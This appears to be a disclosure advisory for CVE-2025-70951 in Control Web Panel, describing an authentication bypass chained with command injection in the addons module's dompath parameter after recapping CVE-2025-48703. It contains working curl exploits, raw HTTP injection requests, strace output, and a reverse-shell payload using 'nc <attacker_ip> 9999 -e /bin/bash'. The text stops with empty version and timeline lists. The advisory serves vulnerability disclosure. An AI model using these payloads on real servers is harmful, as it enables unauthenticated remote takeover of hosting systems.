|
Remote code execution in CentOS Web Panel - CVE-2025-70951 |
As part of our ongoing research into web hosting control panels, we recently published an analysis of Control Web Panel (CWP), a widely used open-source administration panel designed to manage web servers running CentOS, AlmaLinux, and Rocky Linux. This research led to the discovery and disclosure of CVE-2025-48703, a vulnerability allowing an unauthenticated remote attacker to execute arbitrary commands on any exposed instance — with the prerequisite of knowing a valid username.
Before presenting our new findings, we start with a brief recap of the mechanisms exploited in that first CVE, in order to establish the technical context necessary to understand the vulnerability we are covering today.
CWP exposes two distinct interfaces: an admin panel (port 2087) and a user panel (port 2083). The latter provides a file manager feature, which notably allows users to change file permissions through a dedicated form.
The exploit relies on the combination of two independent flaws:
1. Authentication bypass
The legitimate permission-change request is sent to a URL of the following form:
POST /cwp_token/username/username/index.php?module=filemanager&acc=changePerm
The token embedded in the URL (cwp_30776ec647a8f390) acts as a client-side session identifier. However, it was discovered that the server processes the request even when this token is omitted and all authentication cookies are removed. It is sufficient to submit the request to:
POST /<username>/index.php?module=filemanager&acc=changePerm
The server relies solely on the username present in the URL path to determine the execution context, without verifying that a valid session is associated with the request. The only prerequisite is therefore knowing a valid non-root username, as created through the admin interface.
Command injection in the t_total parameter
The t_total parameter, which is expected to receive a permission mode in octal format (e.g. 644), is passed unsanitized to the chmod binary via a shell call. An attacker can inject arbitrary commands using bash command substitution syntax: t_total=$(arbitrary-command) or using backticks: t_total=`nc 1.2.3.4 9999 -e /bin/bash`
Full exploitation
By chaining these two flaws, a single curl request is enough to obtain a shell:
$ curl -kis 'https://<target>:2083/<username>/index.php?module=filemanager&acc=changePerm' --data 'fileName=.bashrc¤tPath=/home/<username>&t\_total=`nc <attacker_ip> 9999 -e /bin/bash`'The resulting shell runs in the context of the targeted user. The vulnerability was patched in version 0.9.8.1205, released in June 2025.
With this context established, we will now detail a similar vulnerability we identified in Control Web Panel.
The CVE-2025-48703 has been patched, the t_total parameter is sanitized and an access control has been implemented on the application endpoint. However, the authentication bypass has been fixed for the filemanager only. The addons module, which is responsible for addons management, is still reachable the same way for a remote attacker who knows a valid username.

This module lists addons and implements an install feature to embed the targeted application on the managed server. Once the install process is launched, the administrator is asked to add a few configuration elements to the form.

Then, the following request is sent to the server:
POST /cwp_a89c3f3d35b74378/test2/test2/index.php?module=addons&act=install HTTP/1.1
Host: 127.0.0.1:2083
[...]
lvurl=undefined&lvdomain=127.0.0.1&lvbd=lv158&lvuserdb=lv158&lvpassbd=cmFuZG9tcGFzc3dvcmQ=&lvpach=lv&dompath=/home/test2/public_html&domssl=&type=laravel
On the first hand, this request is still executed on the server using the same authentication bypass has we seen before:
POST /test2/index.php?module=addons&act=install HTTP/1.1
Host: 127.0.0.1:2083
[...]
lvurl=undefined&lvdomain=127.0.0.1&lvbd=lv158&lvuserdb=lv158&lvpassbd=cmFuZG9tcGFzc3dvcmQ=&lvpach=lv&dompath=/home/test2/public_html&domssl=&type=laravel
On the second hand, the parameter dompath is vulnerable to a command injection.
POST /test2/index.php?module=addons&act=install HTTP/1.1
Host: 127.0.0.1:2083
[...]
lvurl=undefined&lvdomain=127.0.0.1&lvbd=lv158&lvuserdb=lv158&lvpassbd=cmFuZG9tcGFzc3dvcmQ=&lvpach=lv&dompath=$(uname%20-a)&domssl=&type=laravel
This request generates strace outputs such as:
4066 14:43:53.221821 execve("/bin/sh", ["sh", "-c", "mkdir -p $(uname -a)/"], ["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "TEMP=/tmp", "TMPDIR=/tmp", "TMP=/tmp", "HOSTNAME=", "USER=test2", "HOME=/home/test2"]) = 0 <0.000487>
4068 14:43:53.228193 execve("/usr/bin/uname", ["uname", "-a"], ["HOSTNAME=", "TMPDIR=/tmp", "USER=test2", "TEMP=/tmp", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "PWD=/usr/local/cwpsrv/var/services/users", "SHLVL=1", "HOME=/home/test2", "TMP=/tmp", "_=/usr/bin/uname"]) = 0 <0.000096>
4066 14:43:53.230206 execve("/usr/bin/mkdir", ["mkdir", "-p", "Linux", "localhost.localdomain", "3.10.0-1160.119.1.el7.x86_64", "#1", "SMP", "Tue", "Jun", "4", "14:43:51", "UTC", "2024", "x86_64", "x86_64", "x86_64", "GNU/Linux/"], ["HOSTNAME=", "TMPDIR=/tmp", "USER=test2", "TEMP=/tmp", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "PWD=/usr/local/cwpsrv/var/services/users", "SHLVL=1", "HOME=/home/test2", "TMP=/tmp", "\_=/usr/bin/mkdir"]) = 0 <0.000060>
Finally, this vulnerability can be exploited using the following curl command:
$ curl -kis 'https://127.0.0.1:2083/test2/index.php?module=addons&act=install' --data 'dompath=$(uname%20-a)&type=laravel’
This vulnerability is similar to CVE-2025-48703. The authentication bypass was correctly fixed for CVE-2025-48703 but should have been applied to all application modules including addons.
This scenario allows a remote attacker who knows a valid username in the application to bypass the authentication process and exploit a lack of sanitization in dompath user input injecting an arbitrary command.
This vulnerability has been tested on Centos 7 on Control Web Panel versions:
This vulnerability has been fixed in version 0.9.8.1224
Here is the timeline of this vulnerability: